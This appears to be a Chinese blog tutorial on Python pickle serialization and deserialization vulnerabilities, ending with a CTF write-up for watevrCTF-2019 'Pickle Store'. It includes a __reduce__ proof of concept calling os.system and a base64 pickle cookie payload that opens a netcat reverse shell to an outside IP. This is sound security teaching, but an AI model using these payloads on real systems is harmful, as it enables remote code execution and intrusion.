Python序列化与反序列化

Python 的序列化和反序列化是将一个类对象向字节流转化从而进行存储和传输,然后使用的时候再将字节流转化回原始的对象的一个过程

几个重要函数

Pickle.dump():将Python对象序列化保存到本地的文件中。

Pickle.load():载入本地文件,将文件内容反序列化为Python对象。

Pickle.dumps():将Python对象序列化为字符串。

Pickle.loads():将字符串反序列化为Python对象。

序列化

这里通过pickle.dumps()将Python对象序列化为字符串

1
2
3
4
5
6
7
8
9
10
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
def print_name(self):
print("my name is ghtwf01")
obj = Person("ghtwf01","19")
ser = pickle.dumps(obj)
print(ser)

得到的字节流为

1
b'\x80\x04\x95;\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x07ghtwf01\x94\x8c\x03age\x94\x8c\x0219\x94ub.'

可序列化的对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

反序列化

这里通过Pickle.loads()将字符串反序列化为Python对象

1
2
3
4
5
6
7
8
9
10
11
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
def give(self):
print("my name is ghtwf01")
obj = Person("ghtwf01","19")
ser = pickle.dumps(obj)
new_obj = pickle.loads(ser)
new_obj.give()

1

Python Pickle反序列化漏洞实例

object.___reduce__()函数

__reduce__()函数和php中的__wakeup__()一样,都是当该类的对象被反序列化时调用,python要求__reduce__()返回一个元组,选择栈上第一个对象作为函数、第二个对象作为参数(第二个参数必须为元组),然后调用该函数

漏洞利用实例

1
2
3
4
5
6
7
8
9
import pickle
import os
class test(object):
def __reduce__(self):
s = "whoami"
return os.system, (s, )
e = test()
poc = pickle.dumps(e)
pickle.loads(poc)

2

[watevrCTF-2019] Pickle Store

抓包页面发现cookie是一段base64

3

根据题目标题知道可能是Python Pickle反序列化,所以再进行一次反序列化得到

4

可见这个网站将cookie进行base64解密后再进行Pickle反序列化,因为cookie是我们可控的,所以可以构造恶意的cookie执行命令,比如读取文件/反弹shell,因为我们不知道flag的文件名,所以就采用反弹shell

poc如下

1
2
3
4
5
6
7
8
import base64
import pickle
import os
class ghtwf01(object):
def __reduce__(self):
return os.system, ("nc 174.1.195.61 4444 -e/bin/bash",)
poc = ghtwf01()
print(base64.b64encode(pickle.dumps(poc)))

修改cookie成功反弹shell拿到flag

5